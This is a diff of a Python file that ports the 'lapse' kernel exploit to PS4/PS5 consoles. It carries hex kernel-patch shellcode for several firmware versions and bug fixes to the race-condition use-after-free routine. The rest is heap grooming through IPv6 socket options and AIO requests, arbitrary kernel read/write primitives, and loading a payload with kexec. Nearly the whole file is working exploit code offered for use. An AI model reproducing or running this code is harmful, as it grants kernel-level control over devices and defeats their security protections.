|
| 1 | +""" |
| 2 | +Credits: |
| 3 | +- Helloyunho: It's me! |
| 4 | +- remote_lua_loader: This is basically a port of lapse.lua |
| 5 | +- cow: Gave a lot of hint to make this working |
| 6 | +- Gezine: Also gave a lot of hint to make this working |
| 7 | +- earthonion: For testing with me and giving advice |
| 8 | +- Dr. YenYen: For testing with me |
| 9 | +- Sajjad: Also for testing with me |
| 10 | +""" |
| 11 | + |
1 | 12 | import struct |
| 13 | +import traceback |
2 | 14 | from utils.ref import get_ref_addr |
3 | 15 | from utils.etc import alloc, bytes |
4 | 16 | from utils.unsafe import readuint, readbuf |
5 | 17 | from utils.conversion import u64_to_i64, get_cstring |
6 | | -from utils.rp import log |
| 18 | +from utils.rp import log, log_exc |
7 | 19 | from sc import sc |
8 | 20 | from ropchain import ROPChain, Executable |
9 | | -from constants import SYSCALL, SELECTED_LIBC, nogc |
| 21 | +from constants import SYSCALL, SELECTED_LIBC, nogc, SELECTED_GADGETS |
10 | 22 | from offsets import LIBC_OFFSETS |
11 | 23 |
|
12 | 24 |
|
|
957 | 969 | shellcode_1200 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3" |
958 | 970 |
|
959 | 971 |
|
| 972 | +def fromhex(s): |
| 973 | + hex_string = "0123456789abcdef" |
| 974 | + return bytes( |
| 975 | + [ |
| 976 | + hex_string.index(s[i].lower()) * 16 + hex_string.index(s[i + 1].lower()) |
| 977 | + for i in range(0, len(s), 2) |
| 978 | + ] |
| 979 | + ) |
| 980 | + |
| 981 | + |
960 | 982 | def get_kernel_patches_shellcode(): |
961 | 983 | if sc.version == "9.00": |
962 | | - return bytes.fromhex(shellcode_900) |
| 984 | + return fromhex(shellcode_900) |
963 | 985 | elif sc.version in ["9.03", "9.04"]: |
964 | | - return bytes.fromhex(shellcode_903) |
| 986 | + return fromhex(shellcode_903) |
965 | 987 | elif sc.version in ["9.50", "9.51", "9.60"]: |
966 | | - return bytes.fromhex(shellcode_950) |
| 988 | + return fromhex(shellcode_950) |
967 | 989 | elif sc.version in ["10.00", "10.01"]: |
968 | | - return bytes.fromhex(shellcode_1000) |
| 990 | + return fromhex(shellcode_1000) |
969 | 991 | elif sc.version in ["10.50", "10.70", "10.71"]: |
970 | | - return bytes.fromhex(shellcode_1050) |
| 992 | + return fromhex(shellcode_1050) |
971 | 993 | elif sc.version == "11.00": |
972 | | - return bytes.fromhex(shellcode_1100) |
| 994 | + return fromhex(shellcode_1100) |
973 | 995 | elif sc.version == "11.02": |
974 | | - return bytes.fromhex(shellcode_1102) |
| 996 | + return fromhex(shellcode_1102) |
975 | 997 | elif sc.version in ["11.50", "11.52"]: |
976 | | - return bytes.fromhex(shellcode_1150) |
| 998 | + return fromhex(shellcode_1150) |
977 | 999 | elif sc.version in ["12.00", "12.02"]: |
978 | | - return bytes.fromhex(shellcode_1200) |
| 1000 | + return fromhex(shellcode_1200) |
979 | 1001 | else: |
980 | 1002 | return None |
981 | 1003 |
|
@@ -991,12 +1013,14 @@ def get_kernel_patches_shellcode(): |
991 | 1013 |
|
992 | 1014 | SYSCALL["unlink"] = 0xA |
993 | 1015 | SYSCALL["pipe"] = 42 |
| 1016 | +SYSCALL["getpid"] = 20 |
994 | 1017 | SYSCALL["getuid"] = 0x18 |
995 | 1018 | SYSCALL["connect"] = 98 |
996 | 1019 | SYSCALL["munmap"] = 0x49 |
997 | 1020 | SYSCALL["mprotect"] = 0x4A |
998 | 1021 | SYSCALL["getsockopt"] = 0x76 |
999 | 1022 | SYSCALL["socketpair"] = 0x87 |
| 1023 | +SYSCALL["nanosleep"] = 0xF0 |
1000 | 1024 | SYSCALL["sched_yield"] = 0x14B |
1001 | 1025 | SYSCALL["thr_exit"] = 0x1AF |
1002 | 1026 | SYSCALL["thr_self"] = 0x1B0 |
@@ -1255,7 +1279,9 @@ def prepare_structure(self): |
1255 | 1279 | jmp_buf = alloc(0x60) |
1256 | 1280 |
|
1257 | 1281 | # skeleton jmp_buf |
1258 | | - jmp_buf[0x0:0x8] = struct.pack("<Q", self.sc.exec_addr + self.sc.gadgets["ret"]) |
| 1282 | + jmp_buf[0x0:0x8] = struct.pack( |
| 1283 | + "<Q", self.sc.exec_addr + SELECTED_GADGETS["ret"] |
| 1284 | + ) |
1259 | 1285 | jmp_buf[0x10:0x18] = struct.pack("<Q", self.chain.addr) |
1260 | 1286 | jmp_buf[0x40:0x44] = struct.pack("<I", PrimThread.fpu_ctrl_value) |
1261 | 1287 | jmp_buf[0x44:0x48] = struct.pack("<I", PrimThread.mxcsr_value) |
@@ -1655,15 +1681,24 @@ def create_pipe(): |
1655 | 1681 | return pipe_read_fd, pipe_write_fd |
1656 | 1682 |
|
1657 | 1683 |
|
1658 | | -def wait_for(addr, val): |
1659 | | - while True: |
1660 | | - curr = readuint(addr, 8) |
1661 | | - if curr == val: |
1662 | | - break |
| 1684 | +def nanosleep(nsec): |
| 1685 | + sec = nsec // 1000000000 |
| 1686 | + nsec = nsec % 1000000000 |
| 1687 | + req = alloc(16) |
| 1688 | + req[0:8] = struct.pack("<Q", sec) |
| 1689 | + req[8:16] = struct.pack("<Q", nsec) |
| 1690 | + sc.syscalls.nanosleep(req) |
| 1691 | + |
| 1692 | + |
| 1693 | +def wait_for(addr, val, timeout=30000): |
| 1694 | + elapsed = 0 |
| 1695 | + while readuint(addr, 8) != val and elapsed < timeout: |
| 1696 | + nanosleep(1) |
| 1697 | + elapsed += 1 |
1663 | 1698 |
|
1664 | 1699 |
|
1665 | 1700 | def build_rthdr(buf, size): |
1666 | | - len = ((size >> 3) - 1) & 0xFFFFFFFE |
| 1701 | + len = ((size >> 3) - 1) & ~1 |
1667 | 1702 | size = (len + 1) << 3 |
1668 | 1703 |
|
1669 | 1704 | buf[0:1] = struct.pack("<B", 0) # ip6r_nxt |
@@ -1731,11 +1766,12 @@ def hexdump(data): |
1731 | 1766 | log("{:08x} {:<48} {}".format(i, hex_bytes, ascii_bytes)) |
1732 | 1767 |
|
1733 | 1768 |
|
| 1769 | +suspend_exec = Executable(sc, 0xF000 * 4) |
| 1770 | + |
| 1771 | + |
1734 | 1772 | def race_one(request_addr, tcp_sd, sds): |
1735 | 1773 | reset_race_state() |
1736 | 1774 |
|
1737 | | - hexdump(readbuf(id(None), 0x10)) |
1738 | | - |
1739 | 1775 | sce_errs = alloc(8) |
1740 | 1776 | sce_errs[0:4] = struct.pack("<I", 0xFFFFFFFF) |
1741 | 1777 | sce_errs[4:8] = struct.pack("<I", 0xFFFFFFFF) |
@@ -1752,34 +1788,31 @@ def race_one(request_addr, tcp_sd, sds): |
1752 | 1788 | thr = PrimThread(sc, delete_chain) |
1753 | 1789 | thr_tid = thr.run() |
1754 | 1790 | log("spawned worker thread: %s" % hex(thr_tid)) |
1755 | | - hexdump(readbuf(id(None), 0x10)) |
1756 | 1791 |
|
1757 | 1792 | # wait for the worker thread to ready |
1758 | 1793 | wait_for(get_ref_addr(ready_signal), 1) |
1759 | 1794 | log("worker thread ready") |
1760 | 1795 |
|
1761 | | - suspend_chain = Executable(sc, 0xF000 * 4) |
1762 | | - suspend_chain.chain.reset() |
1763 | | - suspend_chain.setup_front_chain() |
| 1796 | + suspend_exec.chain.reset() |
| 1797 | + suspend_exec.setup_front_chain() |
1764 | 1798 |
|
1765 | 1799 | # notify worker thread to resume |
1766 | | - suspend_chain.setup_syscall_chain(SYSCALL["write"], pipe_write_fd, pipe_buf, 1) |
| 1800 | + suspend_exec.setup_syscall_chain(SYSCALL["write"], pipe_write_fd, pipe_buf, 1) |
1767 | 1801 |
|
1768 | 1802 | # yield and hope the scheduler runs the worker next. |
1769 | 1803 | # the worker will then sleep at soclose() and hopefully we run next |
1770 | | - suspend_chain.setup_syscall_chain(SYSCALL["sched_yield"]) |
| 1804 | + suspend_exec.setup_syscall_chain(SYSCALL["sched_yield"]) |
1771 | 1805 |
|
1772 | 1806 | # if we get here and the worker hasn't been reran then we can delay the |
1773 | 1807 | # worker's execution of soclose() indefinitely |
1774 | | - suspend_chain.setup_syscall_chain(SYSCALL["thr_suspend_ucontext"], thr_tid) |
1775 | | - |
1776 | | - suspend_chain.setup_post_chain() |
1777 | | - suspend_chain.setup_back_chain() |
| 1808 | + suspend_exec.setup_syscall_chain(SYSCALL["thr_suspend_ucontext"], thr_tid) |
| 1809 | + suspend_exec.setup_padding_chain() |
1778 | 1810 |
|
1779 | | - suspend_res = suspend_chain.execute() |
| 1811 | + suspend_exec.setup_post_chain() |
| 1812 | + suspend_exec.setup_back_chain() |
| 1813 | + suspend_res = suspend_exec.execute() |
1780 | 1814 |
|
1781 | 1815 | log("suspend %s: %d" % (hex(thr_tid), suspend_res)) |
1782 | | - hexdump(readbuf(id(None), 0x10)) |
1783 | 1816 |
|
1784 | 1817 | poll_err = alloc(4) |
1785 | 1818 | aio_multi_poll(request_addr, 1, poll_err) |
@@ -1809,6 +1842,7 @@ def race_one(request_addr, tcp_sd, sds): |
1809 | 1842 | log("resume %s: %d" % (hex(thr_tid), result)) |
1810 | 1843 |
|
1811 | 1844 | wait_for(get_ref_addr(deletion_signal), 1) |
| 1845 | + print("deletion signal received") |
1812 | 1846 |
|
1813 | 1847 | if won_race: |
1814 | 1848 | err_main_thr = struct.unpack("<I", sce_errs[0:4])[0] |
@@ -1985,7 +2019,7 @@ def verify_reqs2(addr, cmd): |
1985 | 2019 | heap_prefixes = [] |
1986 | 2020 |
|
1987 | 2021 | # check if offsets 0x10 to 0x20 look like a kernel heap address |
1988 | | - for i in range(0x10, 0x20, 8): |
| 2022 | + for i in range(0x10, 0x20 + 1, 8): |
1989 | 2023 | if readuint(addr + i + 6, 2) != 0xFFFF: |
1990 | 2024 | return False |
1991 | 2025 | prefix = readuint(addr + i + 4, 2) |
@@ -2005,7 +2039,7 @@ def verify_reqs2(addr, cmd): |
2005 | 2039 | return False |
2006 | 2040 |
|
2007 | 2041 | # check if offsets 0x48 to 0x50 look like a kernel address |
2008 | | - for i in range(0x48, 0x50, 8): |
| 2042 | + for i in range(0x48, 0x50 + 1, 8): |
2009 | 2043 | if readuint(addr + i + 6, 2) == 0xFFFF: |
2010 | 2044 | # don't push kernel ELF addresses |
2011 | 2045 | if readuint(addr + i + 4, 2) != 0xFFFF: |
@@ -2064,7 +2098,7 @@ def leak_kernel_addrs(sd_pair, sds): |
2064 | 2098 |
|
2065 | 2099 | val = struct.unpack("<I", buf[0:4])[0] |
2066 | 2100 | if val == expected_flag: |
2067 | | - evfs.remove(evf) |
| 2101 | + del evfs[idx] |
2068 | 2102 | else: |
2069 | 2103 | evf = None |
2070 | 2104 |
|
@@ -2167,7 +2201,7 @@ def leak_kernel_addrs(sd_pair, sds): |
2167 | 2201 | sd_idx = None |
2168 | 2202 | reqs2_off, fake_reqs3_off = None, None |
2169 | 2203 |
|
2170 | | - for off in range(0, buflen - 1, 0x80): |
| 2204 | + for off in range(0x80, buflen, 0x80): |
2171 | 2205 | if not reqs2_off and verify_reqs2(get_ref_addr(buf) + off, AIO_CMD_WRITE): |
2172 | 2206 | reqs2_off = off |
2173 | 2207 | if not fake_reqs3_off: |
@@ -2179,7 +2213,7 @@ def leak_kernel_addrs(sd_pair, sds): |
2179 | 2213 | if reqs2_off and fake_reqs3_off: |
2180 | 2214 | log("found reqs2 and fake reqs3 at attempt: %d" % (i + 1)) |
2181 | 2215 | fake_reqs3_sd = sds[sd_idx] |
2182 | | - sds.remove(fake_reqs3_sd) |
| 2216 | + del sds[sd_idx] |
2183 | 2217 | free_rthdrs(sds) |
2184 | 2218 | sds.append(new_socket()) |
2185 | 2219 | break |
@@ -2194,8 +2228,8 @@ def leak_kernel_addrs(sd_pair, sds): |
2194 | 2228 |
|
2195 | 2229 | get_rthdr(sd, buf, buflen) |
2196 | 2230 |
|
2197 | | - # TODO: write hex dump function for easier debugging |
2198 | | - # log('leaked aio_entry:') |
| 2231 | + log("leaked aio_entry:") |
| 2232 | + hexdump(buf[reqs2_off : reqs2_off + 0x80]) |
2199 | 2233 |
|
2200 | 2234 | # store for curproc leak later |
2201 | 2235 | aio_info_addr = struct.unpack("<Q", buf[reqs2_off + 0x18 : reqs2_off + 0x20])[0] |
@@ -2261,26 +2295,27 @@ def make_aliased_pktopts(sds): |
2261 | 2295 | ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4) |
2262 | 2296 |
|
2263 | 2297 | for i in range(len(sds)): |
2264 | | - if sds[i] != 0xFFFFFFFFFFFFFFFF: |
2265 | | - gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4) |
2266 | | - marker = struct.unpack("<I", tclass[0:4])[0] |
2267 | | - if marker != i: |
2268 | | - sd_pair = (sds[i], sds[marker]) |
2269 | | - log( |
2270 | | - "aliased pktopts at attempt: %d (found pair: %d %d)" |
2271 | | - % (loop, sd_pair[0], sd_pair[1]) |
| 2298 | + gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4) |
| 2299 | + marker = struct.unpack("<I", tclass[0:4])[0] |
| 2300 | + if marker != i: |
| 2301 | + sd_pair = (sds[i], sds[marker]) |
| 2302 | + log( |
| 2303 | + "aliased pktopts at attempt: %d (found pair: %d %d)" |
| 2304 | + % (loop, sd_pair[0], sd_pair[1]) |
| 2305 | + ) |
| 2306 | + min_idx = min(marker, i) |
| 2307 | + max_idx = max(marker, i) |
| 2308 | + del sds[max_idx] |
| 2309 | + del sds[min_idx] |
| 2310 | + free_rthdrs(sds) |
| 2311 | + for _ in range(2): |
| 2312 | + sock_fd = new_socket() |
| 2313 | + ssockopt( |
| 2314 | + sock_fd, IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4 |
2272 | 2315 | ) |
2273 | | - sds.remove(marker) |
2274 | | - sds.remove(i) |
2275 | | - free_rthdrs(sds) |
2276 | | - for _ in range(2): |
2277 | | - sock_fd = new_socket() |
2278 | | - ssockopt( |
2279 | | - sock_fd, IPPROTO_IPV6, IPV6_TCLASS, get_ref_addr(tclass), 4 |
2280 | | - ) |
2281 | | - sds.append(sock_fd) |
2282 | | - |
2283 | | - return sd_pair |
| 2316 | + sds.append(sock_fd) |
| 2317 | + |
| 2318 | + return sd_pair |
2284 | 2319 |
|
2285 | 2320 | for sd in sds: |
2286 | 2321 | ssockopt(sd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0) |
@@ -2358,15 +2393,17 @@ def overwrite_aio_entry_with_rthdr(): |
2358 | 2393 |
|
2359 | 2394 | if req_idx != -1: |
2360 | 2395 | log( |
2361 | | - "states[%d] = %s", |
2362 | | - req_idx, |
2363 | | - hex( |
2364 | | - struct.unpack("<I", states[req_idx * 4 : req_idx * 4 + 4])[ |
2365 | | - 0 |
2366 | | - ] |
| 2396 | + "states[%d] = %s" |
| 2397 | + % ( |
| 2398 | + req_idx, |
| 2399 | + hex( |
| 2400 | + struct.unpack( |
| 2401 | + "<I", states[req_idx * 4 : req_idx * 4 + 4] |
| 2402 | + )[0] |
| 2403 | + ), |
2367 | 2404 | ), |
2368 | 2405 | ) |
2369 | | - log("found req_id at batch: %d", batch) |
| 2406 | + log("found req_id at batch: %d" % batch) |
2370 | 2407 | log("aliased at attempt: %d" % (i + 1)) |
2371 | 2408 |
|
2372 | 2409 | aio_idx = batch * num_elems + req_idx |
@@ -2399,7 +2436,7 @@ def overwrite_aio_entry_with_rthdr(): |
2399 | 2436 |
|
2400 | 2437 | # enable deletion of target_id |
2401 | 2438 | aio_multi_poll(get_ref_addr(target_id_p), 1, states) |
2402 | | - log("target's state: %s", hex(struct.unpack("<I", states[0:4])[0])) |
| 2439 | + log("target's state: %s" % hex(struct.unpack("<I", states[0:4])[0])) |
2403 | 2440 |
|
2404 | 2441 | sce_errs = alloc(8) |
2405 | 2442 | sce_errs[0:4] = struct.pack("<I", 0xFFFFFFFF) |
@@ -2431,7 +2468,7 @@ def overwrite_aio_entry_with_rthdr(): |
2431 | 2468 | states[0:4] = struct.pack("<I", 0xFFFFFFFF) |
2432 | 2469 | states[4:8] = struct.pack("<I", 0xFFFFFFFF) |
2433 | 2470 |
|
2434 | | - aio_multi_poll(get_ref_addr(target_id_p), 2, states) |
| 2471 | + aio_multi_poll(get_ref_addr(target_ids), 2, states) |
2435 | 2472 | log( |
2436 | 2473 | "target states: %s %s" |
2437 | 2474 | % ( |
@@ -2621,7 +2658,7 @@ def read_buffer(self, kaddr, len): |
2621 | 2658 | mem = alloc(len) |
2622 | 2659 |
|
2623 | 2660 | self.copyout(kaddr, get_ref_addr(mem), len) |
2624 | | - return readbuf(mem, len) |
| 2661 | + return mem[:len] |
2625 | 2662 |
|
2626 | 2663 | def write_buffer(self, kaddr, buf): |
2627 | 2664 | self.copyin(get_ref_addr(buf), kaddr, len(buf)) |
@@ -2664,14 +2701,14 @@ def read_qword(self, kaddr): |
2664 | 2701 | return struct.unpack("<Q", value)[0] |
2665 | 2702 |
|
2666 | 2703 | def read_null_terminated_string(self, kaddr): |
2667 | | - result = b"" |
| 2704 | + result = bytearray() |
2668 | 2705 | while True: |
2669 | 2706 | char = self.read_buffer(kaddr, 1) |
2670 | | - if char == b"\0": |
| 2707 | + if char == 0 or char == b"\0": |
2671 | 2708 | break |
2672 | 2709 | result += char |
2673 | 2710 | kaddr += 1 |
2674 | | - return result |
| 2711 | + return str(result) |
2675 | 2712 |
|
2676 | 2713 | def write_byte(self, kaddr, value): |
2677 | 2714 | buf = struct.pack("<B", value) |
@@ -3267,11 +3304,11 @@ def make_kernel_arw(pktopts_sds, k100_addr, kernel_addr, sds, sds_alt, aio_info_ |
3267 | 3304 |
|
3268 | 3305 | pktopts_size = 0x100 |
3269 | 3306 | pktopts = alloc(pktopts_size) |
3270 | | - rsize = build_rthdr(get_ref_addr(pktopts), pktopts_size) |
3271 | | - pktinfo_p = k100_addr + 0x100 |
| 3307 | + rsize = build_rthdr(pktopts, pktopts_size) |
| 3308 | + pktinfo_p = k100_addr + 0x10 |
3272 | 3309 |
|
3273 | 3310 | # pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo |
3274 | | - pktopts[off_tclass + 0x10 : off_tclass + 0x18] = struct.pack("<Q", pktinfo_p) |
| 3311 | + pktopts[0x10:0x18] = struct.pack("<Q", pktinfo_p) |
3275 | 3312 |
|
3276 | 3313 | log("overwrite main pktopts") |
3277 | 3314 | reclaim_sock = None |
@@ -3292,7 +3329,7 @@ def make_kernel_arw(pktopts_sds, k100_addr, kernel_addr, sds, sds_alt, aio_info_ |
3292 | 3329 | log("found reclaim sd at attempt: %d" % (i + 1)) |
3293 | 3330 | idx = marker >> 16 |
3294 | 3331 | reclaim_sock = sds_alt[idx] |
3295 | | - sds_alt.remove(reclaim_sock) |
| 3332 | + del sds_alt[idx] |
3296 | 3333 | break |
3297 | 3334 |
|
3298 | 3335 | if reclaim_sock is None: |
@@ -3310,7 +3347,7 @@ def slow_kread8(addr): |
3310 | 3347 |
|
3311 | 3348 | while offset < len: |
3312 | 3349 | # pktopts.ip6po_nhinfo = addr + offset |
3313 | | - pktinfo[0x8 : 0x8 + 8] = struct.pack("<Q", addr + offset) |
| 3350 | + pktinfo[0x8:0x10] = struct.pack("<Q", addr + offset) |
3314 | 3351 |
|
3315 | 3352 | ssockopt( |
3316 | 3353 | master_sock, |
@@ -3335,7 +3372,7 @@ def slow_kread8(addr): |
3335 | 3372 |
|
3336 | 3373 | return struct.unpack("<Q", read_buf[0:8])[0] |
3337 | 3374 |
|
3338 | | - log('slow_kread8(&"evf cf"): %s' % hex(slow_kread8(kernel_addr))) |
| 3375 | + log('slow_kread8(&"evf cv"): %s' % hex(slow_kread8(kernel_addr))) |
3339 | 3376 | kstr = get_cstring(read_buf) |
3340 | 3377 | log('*(&"evf cv"): %s' % kstr) |
3341 | 3378 |
|
@@ -3368,10 +3405,12 @@ def slow_kread8(addr): |
3368 | 3405 | ) |
3369 | 3406 | kernel.inside_kdata_addr = kernel_addr |
3370 | 3407 |
|
| 3408 | + log("curproc_fd = %s" % hex(kernel.curproc_fd_addr)) |
| 3409 | + log("curproc_ofiles = %s" % hex(kernel.curproc_ofiles_addr)) |
| 3410 | + |
3371 | 3411 | def get_fd_data_addr(sock, kread8_fn): |
3372 | 3412 | filedescent_addr = ( |
3373 | | - kernel.curproc_ofiles_addr |
3374 | | - + sock * SELECTED_KERNEL_OFFSETS["FILEDESC_OFILES"] |
| 3413 | + kernel.curproc_ofiles_addr + sock * SELECTED_KERNEL_OFFSETS["SIZEOF_OFILES"] |
3375 | 3414 | ) |
3376 | 3415 | file_addr = kread8_fn(filedescent_addr) # fde_file |
3377 | 3416 | return kread8_fn(file_addr) # f_data |
@@ -3420,7 +3459,7 @@ def kwrite20(addr, buf): |
3420 | 3459 | worker_sock, |
3421 | 3460 | IPPROTO_IPV6, |
3422 | 3461 | IPV6_PKTINFO, |
3423 | | - get_ref_addr(worker_pktinfo), |
| 3462 | + get_ref_addr(buf), |
3424 | 3463 | pktinfo_len, |
3425 | 3464 | ) |
3426 | 3465 |
|
@@ -3451,6 +3490,7 @@ def restricted_kwrite8(addr, val): |
3451 | 3490 | kernel.write_buffer = ipv6_kernel_rw.write_buffer |
3452 | 3491 |
|
3453 | 3492 | kstr = kernel.read_null_terminated_string(kernel_addr) |
| 3493 | + log('*(&"evf cv"): %s' % kstr) |
3454 | 3494 | if kstr != "evf cv": |
3455 | 3495 | raise Exception('test read of &"evf cv" failed') |
3456 | 3496 |
|
@@ -3462,7 +3502,7 @@ def restricted_kwrite8(addr, val): |
3462 | 3502 | off_ip6po_rthdr = 0x68 if sc.platform == "ps4" else 0x70 |
3463 | 3503 |
|
3464 | 3504 | for sd in sds: |
3465 | | - sock_pktopts = get_sock_pktopts(sd, kread8) |
| 3505 | + sock_pktopts = get_sock_pktopts(sd, kernel.read_qword) |
3466 | 3506 | kernel.write_qword(sock_pktopts + off_ip6po_rthdr, 0) |
3467 | 3507 |
|
3468 | 3508 | reclaimer_pktopts = get_sock_pktopts(reclaim_sock, kernel.read_qword) |
@@ -3558,7 +3598,7 @@ def apply_kernel_patches_ps4(): |
3558 | 3598 | mapping_addr = 0x920100000 |
3559 | 3599 |
|
3560 | 3600 | sysent_661_addr = ( |
3561 | | - kernel.data_base + SELECTED_KERNEL_VERSION_OFFSETS["SYSCALL_661_OFFSET"] |
| 3601 | + kernel.data_base + SELECTED_KERNEL_VERSION_OFFSETS["SYSENT_661_OFFSET"] |
3562 | 3602 | ) |
3563 | 3603 | sy_narg = kernel.read_dword(sysent_661_addr) |
3564 | 3604 | sy_call = kernel.read_qword(sysent_661_addr + 8) |
@@ -3588,7 +3628,7 @@ def apply_kernel_patches_ps4(): |
3588 | 3628 | 0, |
3589 | 3629 | ) |
3590 | 3630 | sc.mem[mapping_addr - 0x1000 : mapping_addr - 0x1000 + len(bin_data)] = bin_data |
3591 | | - log("First bytes: 0x%x", readuint(mapping_addr, 4)) |
| 3631 | + log("First bytes: 0x%x" % readuint(mapping_addr, 4)) |
3592 | 3632 |
|
3593 | 3633 | sc.syscalls.kexec(mapping_addr) |
3594 | 3634 |
|
@@ -3852,7 +3892,7 @@ def kexploit(): |
3852 | 3892 |
|
3853 | 3893 | log("[+] Get arbitrary kernel read/write") |
3854 | 3894 | make_kernel_arw( |
3855 | | - pktopts_sds, kbuf_addr, kernel_addr, sds, sds_alt, aio_info_addr |
| 3895 | + pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr |
3856 | 3896 | ) |
3857 | 3897 |
|
3858 | 3898 | log("[+] Post exploitation") |
@@ -3863,8 +3903,10 @@ def kexploit(): |
3863 | 3903 | post_exploitation_ps5() |
3864 | 3904 |
|
3865 | 3905 | log("done!") |
3866 | | - except Exception as e: |
3867 | | - log("[-] Exploit failed: %s" % str(e)) |
| 3906 | + except: |
| 3907 | + log("[-] Exploit failed") |
| 3908 | + exc_msg = traceback.format_exc() |
| 3909 | + log_exc(exc_msg) |
3868 | 3910 | finally: |
3869 | 3911 | sc.syscalls.close(block_fd) |
3870 | 3912 | sc.syscalls.close(unblock_fd) |
|
0 commit comments